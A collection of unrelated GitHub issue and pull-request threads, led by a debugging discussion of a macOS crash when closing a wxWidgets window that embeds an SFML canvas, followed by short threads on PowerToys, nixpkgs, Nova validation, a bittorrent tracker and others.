  {
  }

  virtual void onUpdate()
  {
    clear(sf::Color::Yellow);
    sf::CircleShape shape(50);
    shape.setFillColor(sf::Color(150, 50, 250));
    shape.setOutlineThickness(10);
    shape.setOutlineColor(sf::Color(250, 150, 100));
    sf::RectangleShape line(sf::Vector2f(150, 5));
    line.rotate(45);
    this->draw(shape);
    this->draw(line);
  }

  void onResize(wxSizeEvent& event)
  {
    auto size = event.GetSize();
    auto newCanvasWidth = size.x - (2 * kCanvasMargin);
    auto newCanvasHeight = size.y - (2 * kCanvasMargin);
    sf::Vector2u v(newCanvasWidth,newCanvasHeight);
    wxSize s(newCanvasWidth,newCanvasHeight);
    this->SetSize(s); //wx setSize
    this->setSize(v); //SFML setSize
  }
};

struct AppFrame : public wxFrame
{
  AppFrame(const wxString& title, const wxPoint& pos, const wxSize& size) :
    wxFrame(NULL, wxID_ANY, title, pos, size),
    _panel(new wxPanel(this)),
    _canvas(new Canvas(
      _panel.get(),
      wxID_ANY,
      wxPoint(kCanvasMargin, kCanvasMargin),
      wxSize(kDefaultWindowWidth - (2 * kCanvasMargin), kDefaultWindowHeight - (2 * kCanvasMargin))
    ))
  {
    _panel->SetBackgroundColour(*wxCYAN);

    ////////////////////////////////////////////////////////////////////////////////
    // Probably due to some RTTI, IDE is getting confused by this dynamic call
    // and doesn't understand the correct Bind overload. Causes non sequitur errors
    // to display in the inspector. Suppress.
    //
    // Dynamic binding is cleanest here, since we don't want to hook up our resize
    // handler until our dependencies (Canvas namely) have finished their initialization
    ////////////////////////////////////////////////////////////////////////////////
    #pragma clang diagnostic push
    #pragma clang diagnostic ignored "-Wint-conversion"
    Bind(wxEVT_SIZE, &AppFrame::onResize, this);
    #pragma clang diagnostic pop
    ////////////////////////////////////////////////////////////////////////////////

  }

  void onResize(wxSizeEvent& event)
  {
    _canvas->onResize(event);
    event.Skip();
  }

  unique_ptr<wxPanel> _panel;
  unique_ptr<Canvas> _canvas;
};

struct App : public wxApp
{
  virtual bool OnInit()
  {
    auto frame = new AppFrame("SFML Canvas Demo", wxPoint(100, 100),
                              wxSize(kDefaultWindowWidth, kDefaultWindowHeight));
    frame->Show(true);
    return true;
  }
};

wxBEGIN_EVENT_TABLE(wxSfmlCanvas, wxControl)
  EVT_IDLE(wxSfmlCanvas::onIdle)
  EVT_PAINT(wxSfmlCanvas::onPaint)
  EVT_ERASE_BACKGROUND(wxSfmlCanvas::onEraseBackground)
wxEND_EVENT_TABLE()

wxIMPLEMENT_APP(App);

His example runs as expected but upon closing the wxWidgets windows it crashes with the following error shown below.
Crashed Thread:        0  Dispatch queue: com.apple.main-thread

Exception Type:        EXC_CRASH (SIGABRT)
Exception Codes:       0x0000000000000000, 0x0000000000000000
Exception Note:        EXC_CORPSE_NOTIFY

Termination Reason:    Namespace OBJC, Code 0x1

Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   libsystem_kernel.dylib        	0x00007fff64e7c01e __abort_with_payload + 10
1   libsystem_kernel.dylib        	0x00007fff64e77541 abort_with_payload_wrapper_internal + 82
2   libsystem_kernel.dylib        	0x00007fff64e774ef abort_with_reason + 22
3   libobjc.A.dylib               	0x00007fff63c58674 _objc_fatalv(unsigned long long, unsigned long long, char const*, __va_list_tag*) + 108
4   libobjc.A.dylib               	0x00007fff63c58526 _objc_fatal(char const*, ...) + 135
5   libobjc.A.dylib               	0x00007fff63c62525 (anonymous namespace)::AutoreleasePoolPage::fastcheck(bool) + 125
6   libobjc.A.dylib               	0x00007fff63c4a9f7 (anonymous namespace)::AutoreleasePoolPage::pop(void*) + 65
7   com.apple.CoreFoundation      	0x00007fff37ab9ee6 _CFAutoreleasePoolPop + 22
8   com.apple.Foundation          	0x00007fff39e66a5e -[NSAutoreleasePool drain] + 144
9   org.sfml-dev.sfml-window      	0x000000010ffc86a5 drainThreadPool() + 37
10  org.sfml-dev.sfml-window      	0x000000010ffc76e4 sf::priv::WindowImplCocoa::~WindowImplCocoa() + 148
11  org.sfml-dev.sfml-window      	0x000000010ffc772f sf::priv::WindowImplCocoa::~WindowImplCocoa() + 15
12  org.sfml-dev.sfml-window      	0x000000010ffb85ca sf::Window::~Window() + 58
13  org.wxwindows.                	0x000000010fe8dc75 wxSfmlCanvas::~wxSfmlCanvas() + 37 (main.cpp:73)
14  org.wxwindows.                	0x000000010fe8dc45 Canvas::~Canvas() + 21 (main.cpp:78)
15  org.wxwindows.                	0x000000010fe8d505 Canvas::~Canvas() + 21 (main.cpp:78)
16  org.wxwindows.                	0x000000010fe8d529 Canvas::~Canvas() + 25 (main.cpp:78)
17  org.wxwindows.                	0x000000010fe8e740 AppFrame::~AppFrame() + 304 (memory:2285)
18  org.wxwindows.                	0x000000010fe8b335 AppFrame::~AppFrame() + 21 (main.cpp:125)
19  org.wxwindows.                	0x000000010fe8b359 AppFrame::~AppFrame() + 25 (main.cpp:125)
20  libwx_osx_cocoau-<IP_ADDRESS>.0.dylib	0x000000010fffdd3d wxAppConsoleBase::ProcessIdle() + 157
21  libwx_osx_cocoau-<IP_ADDRESS>.0.dylib	0x0000000110238476 wxAppBase::ProcessIdle() + 22
22  libwx_osx_cocoau-<IP_ADDRESS>.0.dylib	0x000000011018550a wxApp::ProcessIdle() + 26
23  libwx_osx_cocoau-<IP_ADDRESS>.0.dylib	0x00000001100e41fc wxCFEventLoop::OSXCommonModeObserverCallBack(__CFRunLoopObserver*, int, void*) + 92
24  com.apple.CoreFoundation      	0x00007fff37b459cd __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ + 23
25  com.apple.CoreFoundation      	0x00007fff37b45902 __CFRunLoopDoObservers + 452
26  com.apple.CoreFoundation      	0x00007fff37ae7558 __CFRunLoopRun + 1469
27  com.apple.CoreFoundation      	0x00007fff37ae6d48 CFRunLoopRunSpecific + 463
28  com.apple.HIToolbox           	0x00007fff36d7dab5 RunCurrentEventLoopInMode + 293
29  com.apple.HIToolbox           	0x00007fff36d7d7eb ReceiveNextEventCommon + 618
30  com.apple.HIToolbox           	0x00007fff36d7d568 _BlockUntilNextEventMatchingListInModeWithFilter + 64
31  com.apple.AppKit              	0x00007fff35038363 _DPSNextEvent + 997
32  com.apple.AppKit              	0x00007fff35037102 -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] + 1362
33  com.apple.AppKit              	0x00007fff35031165 -[NSApplication run] + 699
34  libwx_osx_cocoau-<IP_ADDRESS>.0.dylib	0x00000001101f0dff wxGUIEventLoop::OSXDoRun() + 207
35  libwx_osx_cocoau-<IP_ADDRESS>.0.dylib	0x00000001100e4ab1 wxCFEventLoop::DoRun() + 49
36  libwx_osx_cocoau-<IP_ADDRESS>.0.dylib	0x000000011002fcae wxEventLoopBase::Run() + 158
37  libwx_osx_cocoau-<IP_ADDRESS>.0.dylib	0x000000010fffda13 wxAppConsoleBase::MainLoop() + 99
38  libwx_osx_cocoau-<IP_ADDRESS>.0.dylib	0x000000011018555a wxApp::OnRun() + 26
39  libwx_osx_cocoau-<IP_ADDRESS>.0.dylib	0x0000000110067763 wxEntry(int&, wchar_t**) + 131
40  org.wxwindows.                	0x000000010fe883b6 main + 38 (main.cpp:182)
41  libdyld.dylib                 	0x00007fff64d24ed9 start + 1

Thread 1:
0   libsystem_pthread.dylib       	0x00007fff64f173f8 start_wqthread + 0
1   ???                           	0x0000000054485244 0 +<PHONE_NUMBER>

Thread 2:: Dispatch queue: NSCGSDisableUpdates
0   libsystem_kernel.dylib        	0x00007fff64e5e17a mach_msg_trap + 10
1   libsystem_kernel.dylib        	0x00007fff64e5e6d0 mach_msg + 60
2   com.apple.SkyLight            	0x00007fff5dc44bc5 CGSUpdateManager::enable_updates_common() + 577
3   com.apple.SkyLight            	0x00007fff5dbe7e3b CGSUpdateManager::enable_update(unsigned long long) + 317
4   libdispatch.dylib             	0x00007fff64cd5d53 _dispatch_call_block_and_release + 12
5   libdispatch.dylib             	0x00007fff64cd6dcf _dispatch_client_callout + 8
6   libdispatch.dylib             	0x00007fff64cdd124 _dispatch_lane_serial_drain + 618
7   libdispatch.dylib             	0x00007fff64cddbdc _dispatch_lane_invoke + 388
8   libdispatch.dylib             	0x00007fff64ce6090 _dispatch_workloop_worker_thread + 603
9   libsystem_pthread.dylib       	0x00007fff64f1760b _pthread_wqthread + 409
10  libsystem_pthread.dylib       	0x00007fff64f17405 start_wqthread + 13

Thread 3:
0   libsystem_pthread.dylib       	0x00007fff64f173f8 start_wqthread + 0
1   ???                           	0x0000000054485244 0 +<PHONE_NUMBER>

Thread 4:: com.apple.NSEventThread
0   libsystem_kernel.dylib        	0x00007fff64e5e17a mach_msg_trap + 10
1   libsystem_kernel.dylib        	0x00007fff64e5e6d0 mach_msg + 60
2   com.apple.CoreFoundation      	0x00007fff37ae80c2 __CFRunLoopServiceMachPort + 337
3   com.apple.CoreFoundation      	0x00007fff37ae7611 __CFRunLoopRun + 1654
4   com.apple.CoreFoundation      	0x00007fff37ae6d48 CFRunLoopRunSpecific + 463
5   com.apple.AppKit              	0x00007fff35040f89 _NSEventThread + 160
6   libsystem_pthread.dylib       	0x00007fff64f18305 _pthread_body + 126
7   libsystem_pthread.dylib       	0x00007fff64f1b26f _pthread_start + 70
8   libsystem_pthread.dylib       	0x00007fff64f17415 thread_start + 13

Thread 5:
0   libsystem_pthread.dylib       	0x00007fff64f173f8 start_wqthread + 0

Thread 0 crashed with X86 Thread State (64-bit):
  rax: 0x0000000002000209  rbx: 0x0000000000000080  rcx: 0x00007ffedfd767c8  rdx: 0x0000000000000000
  rdi: 0x0000000000000008  rsi: 0x0000000000000001  rbp: 0x00007ffedfd76810  rsp: 0x00007ffedfd767c8
   r8: 0x00007febce519d50   r9: 0x0000000000000080  r10: 0x0000000000000000  r11: 0x0000000000000246
  r12: 0x0000000000000000  r13: 0x0000000000000000  r14: 0x0000000000000001  r15: 0x0000000000000008
  rip: 0x00007fff64e7c01e  rfl: 0x0000000000000246  cr2: 0x0000000116681000

Logical CPU:     0
Error Code:      0x02000209
Trap Number:     133

I suspect wxControl and sf::RenderWindows are trying the close the NSView, which comes from the GetHandle() call, at the same time.
-James Harris

Separating the multiple inheritance of wxSfmlCanvas is something I would like to try in the coming weeks. Because maybe this crash is caused by destructing the wx stuff prior to the sfml::window? After a second thought, maybe switching the order of the inheritance could yield different results?Another approach, I would like to try is rolling back wxWidgets to an earlier version, such as 2.8.12. Maybe this approach could work for now until this one is resolved later?
I will let you know what I find in the coming weeks. In advanced, thank you for your patience and help.
-James Harris

As expected, the objects destruction order doesn't matter. As a result, reversing the inheritance had no impact.
For the second test, I tried separating the inheritance to isolate this issue to the NSView. So, I made sf::RenderWindow into a member of wxSfmlCanvas. Interesting enough, after closing the application, the debug console now outputs the following message.
@"Cannot close SFML area when SFML is integrated in a NSView.\r\n"
@"Cannot close SFML area when SFML is integrated in a NSView.\r\n"
@"objc[6991]: autorelease pool page 0x1018b2000 corrupted\r\n"
@"  magic     0x81b800c0 0x00007fff 0x018dfcd8 0x00000001\r\n"
@"  should be 0xa1a1a1a1 0x4f545541 0x454c4552 0x21455341\r\n"
@"  pthread   0x7fff21f7e158\r\n"
@"  should be 0x1001025c0\r\n"
@"\r\n"

It appears that the NSView is being closed before SFML has a chance to shutdown, I think. So, my next test will be to wrap sf::RenderWindow into a singleton class to isolate wx. I'm suspecting wx is closing the NSView while SFML is still using it, possibly releasing resources too soon.
-James Harris

I wrapped sf::RenderWindow into the singleton class, and I was able to isolate the shutdown routines to run three tests.
Shutdown SFML before wx didn't stop the crash from occurring, but instead caused a 'invalid or prematurely-freed autorelease pool' during wx's shutdown. If wx was allowed to shutdown completely while sf::RenderWindow is wrapped in a singleton class the crash also still occurred. The final test actually eliminated the crash and implies a problem with compiler destructor priority between NSView and SFML.
For the last test, I took out the singleton, and declared sf::RenderWindow as a global variable wrapped inside a namespace. Long behold, the application stopped crashing after closing the application. Somewhere in the shutdown process the destructor order is off.
To conclude, adding attribute((destructor[(priority)])) function attributes could be a possible solution.

To conclude, adding attribute((destructor[(priority)])) function attributes could be a possible solution.

Would that be an SFML modification or one in your own code?

This would be a modification to SFML, but I would like to take back my statement about using attribute. After further research today into what NSAutoreleasePool is doing. I found this resource which may help https://github.com/bkaradzic/bgfx/issues/1607 . There may be an issue with NSAutoreleasePool and how SFML'd usage is interfering with wx on a single thread. The resource says it appears to work on multi-thread. Their solution was to move NSAutoreleasePool to another location to prevent conflicts.

Same issue reported for Qt + SFML on the forum.
@jqdg would you by any chance have an idea for a fix here, given that you knew quite some stuff in a similar area?

@jecse can you give the master branch a try and see if it actually solved your issue?

I found the project on my hard disk, so I'm going to give it a shot this weekend. Note, I haven't visited this library in years.


feat(VETS-CPC-1071): get all vets

JIRA: link to jira ticket
Context:
Any user can now get all vets and view their information in a table.
Does this PR change the .vscode folder in petclinic-frontend?:
No, it does not.
Reviewers need to check for any changes to the
.vscode folder and add a comment about it to their review comments.
Changes

implemented getall in api gateway
tested getall in api gateway
implemented the frontend for getall in a table format

Before and After UI (Required for UI-impacting PRs)
BEFORE:

AFTER:

Hard-coded fixed. Looks good


Cycle layouts

Description of the new feature / enhancement
It would be nice if there was a posibility to cycle between the layouts (win key + the mouse wheel up/down for example so there is no need to remove the hand from the mouse)
Scenario when this would be used?
I mainly use 2 layouts and keep cycle between them.
One 2:1 ratio for my Kali Linux VM + browser for research
Second  1:8:1 to view clips or focus on an article.
Supporting information
No response

Issue is a duplicate
Thank you for your issue! We've linked your report against another issue #14500
Thanks for helping us to make PowerToys a better piece of software.

Duplicate of #14500

Hi,
I don't think this is a duplication. In #14500 the request is to cycle
between windows within a zone (which, if I'm not mistaken, was implemented
in one of the latest updates using the win button + Page Up/Down).
My request is to cycle between layouts in a quicker way (instead of using
the Ctrl + win + Shift + layout shortcut).
Best regards,
Omri
בתאריך יום ה׳, 9 בדצמ׳ 2021 ב-10:32 מאת Aaron Junker <
@.***>:

Duplicate of #14500 https://github.com/microsoft/PowerToys/issues/14500
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/microsoft/PowerToys/issues/14923#issuecomment-989625147,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AW3HMPM7EOJDNBO7NOV5IQTUQBSQRANCNFSM5JVUSFVA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

@omshai You're right. What's with #12704

@omshai You're right. What's with #10424

Yes, it is the same idea.
Thanks alot for an awesome application and for the quick response.
בתאריך יום ה׳, 9 בדצמ׳ 2021 ב-11:32 מאת Aaron Junker <
@.***>:

@omshai https://github.com/omshai You're right. What's with #10424
https://github.com/microsoft/PowerToys/issues/10424
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/microsoft/PowerToys/issues/14923#issuecomment-989670405,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AW3HMPOA3F6QKL5ZWB7FUYLUQBZR3ANCNFSM5JVUSFVA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

Duplicate of #10424


linuxPackages: remove __attrsFailEvaluation since the attrset evaluates

Description of changes

#324619

The test (nix-build pkgs/test/release/default.nix) continues to pass.
These lines were added in https://github.com/NixOS/nixpkgs/pull/269356.
New derivations reported: https://gist.github.com/philiptaron/4db141eb60b787b11a8d413dc52598ab
Things done

[x] Tested, as applicable:

[x] nix-build pkgs/test/release/default.nix

[x] Fits CONTRIBUTING.md.

Thanks, rebased.

Whew, I didn't erroneously remove any recurseIntoAttrs here.

Can confirm, master works :P


Pluralize Target display of features that target multiple entities

The Target of a feature targeting 2 creatures shows as 2 Creature.

It would be nice if this could check if>1 and convert to 2 Creatures.
This would also affect Ally, Enemy, Object, Space, Creature or Object, and Willing Creature. Most of these would append an s but   2 Ally would become 2 Allies and 2 Enemy would become 2 Enemies, etc.

Related to https://github.com/foundryvtt/dnd5e/issues/1355 & https://github.com/foundryvtt/dnd5e/issues/3958


Validations not working

Nova Version: 3.32.0
I have following code structure
Toggle::make(__('Standard'), 'is_standard')
                ->trueColor('green')
                ->falseColor('red')
                ->default(true),
ConditionalContainer::make([
                BelongsTo::make(__('Task Category'), 'taskCategory', 'App\Nova\TaskCategory')
                    ->rules('required')
            ])
                ->if('is_standard truthy true'),

As you can see from above images the validation didn't work on task standard field i.e belongs to field under conditional container.

Can you try rollback 1 version and see if it works? v1.4.2


metadata

Hello,
I appreciate your work. I've read your summary about other apps and I have a problem with XiiaLive. I can not get the actually played song metadata (title, artist...). (Since on the dev's page noone gives no respond I thought I'd rather ask a pro.) Could you help me how make a Tasker profile that receives the data?
thanks,
Norbert

I don't know any more than what's on the Xiialive web site... http://support.xiialive.com/topic/288891-xiialive-open-apis-for-android/


Impossible connect with ws from browser with express server

Hello, I'm trying to connect a browser through websockets to my bittorrent-tracker server integrated in express. With http works fine because I'm doing this:
var onHttpRequest = server.onHttpRequest.bind(server);
app.get('/announce', onHttpRequest);
app.get('/scrape', onHttpRequest);
But with ws is not working, I don't know why but I think because some misconfiguration in the integration with express... What I'm doing bad??
Thanks in advice!

Well... Now I have found the solution, I used express-ws to switch the ws endpoint and redirect to the ws endpoint of the bittorrent tracker. Like the GET endpoints, but with ws.

Glad you got it figured out


[#157] Introduced generating annotations sources for atom-maven-plugin

Closes #157

Codecov Report

Merging #158 into master will increase coverage by 1.06%.
The diff coverage is 56.71%.

@@             Coverage Diff              @@
##             master     #158      +/-   ##
============================================
+ Coverage     43.26%   44.32%   +1.06%
- Complexity      184      189       +5
============================================
  Files           182      187       +5
  Lines          1403     1455      +52
  Branches         40       40
============================================
+ Hits            607      645      +38
- Misses          789      803      +14
  Partials          7        7

Impacted Files
Coverage Δ
Complexity Δ

...om/codegen/stage/StandardInstrumentationStage.java
0% <ø> (ø)
0 <0> (ø)
:arrow_down:

...ava/oo/atom/codegen/javapoet/JpAtomAnnotation.java
0% <0%> (ø)
0 <0> (?)

.../java/oo/atom/instrumentation/GenerateSources.java
0% <0%> (ø)
0 <0> (?)

.../oo/atom/codegen/javapoet/JpNotAtomAnnotation.java
0% <0%> (ø)
0 <0> (?)

...main/java/oo/atom/instrumentation/ApplyStages.java
0% <0%> (ø)
0 <0> (?)

...is/src/main/java/oo/atom/codegen/AtomizerMain.java
0% <0%> (ø)
0 <0> (ø)
:arrow_down:

...apoet/AssertJavapoetProducesCertainSourceCode.java
100% <100%> (ø)
2 <2> (?)

...in/java/oo/atom/codegen/javapoet/JpAnnotation.java
93.33% <93.33%> (ø)
3 <3> (?)

... and 4 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2ff0ba4...94acb34. Read the comment docs.

@rultor merge

@rultor merge

@skapral OK, I'll try to merge now. You can check the progress of the merge here

@rultor merge

@skapral Done! FYI, the full log is here (took me 3min)


Should @spec syntax highlighting be more muted/subtle?

I personally find the @spec syntax highlighting to add too much visual noise to my code.
I find it harder to scan for specific functions I'm looking for, and it fights for attention with function definitions.
Does anybody else feel this way at all?
How hard would it be to make something similar-looking to (shudders) PHP docblock which doesn't fight as much for attention but still easy to pick out relevant info?

Yes, this is an excellent idea. But wouldn't this be up to individual themes?

@fr1zle I feel for you: people fighting about the default color schemes, when anyone can create and publish their own themes, has generated a lot of issues for me.
For any users that want to generate their own themes, I explain why I decided to make certain colors close or contrasting in https://github.com/KronicDeth/intellij-elixir/blob/master/COLOR_SCHEME_DESIGN.md.


function modified according to the requirement

2024/12/30 22:22:27 fetching content from yaml file of repository
2024/12/30 22:22:27 Successfully fetched content for file: codesourcerer-config.yml
2024/12/30 22:22:27 YAML Data Retrieved: {Configuration:{TestDirectory:tests Comments:on TestingBranch:main TestingFramework:pytest WaterMark:on} Environment:{PythonVersion:3.10} Caching:{Enabled:false RedisCaching:off}}

@soorya-u review this once

@KushalJetty good work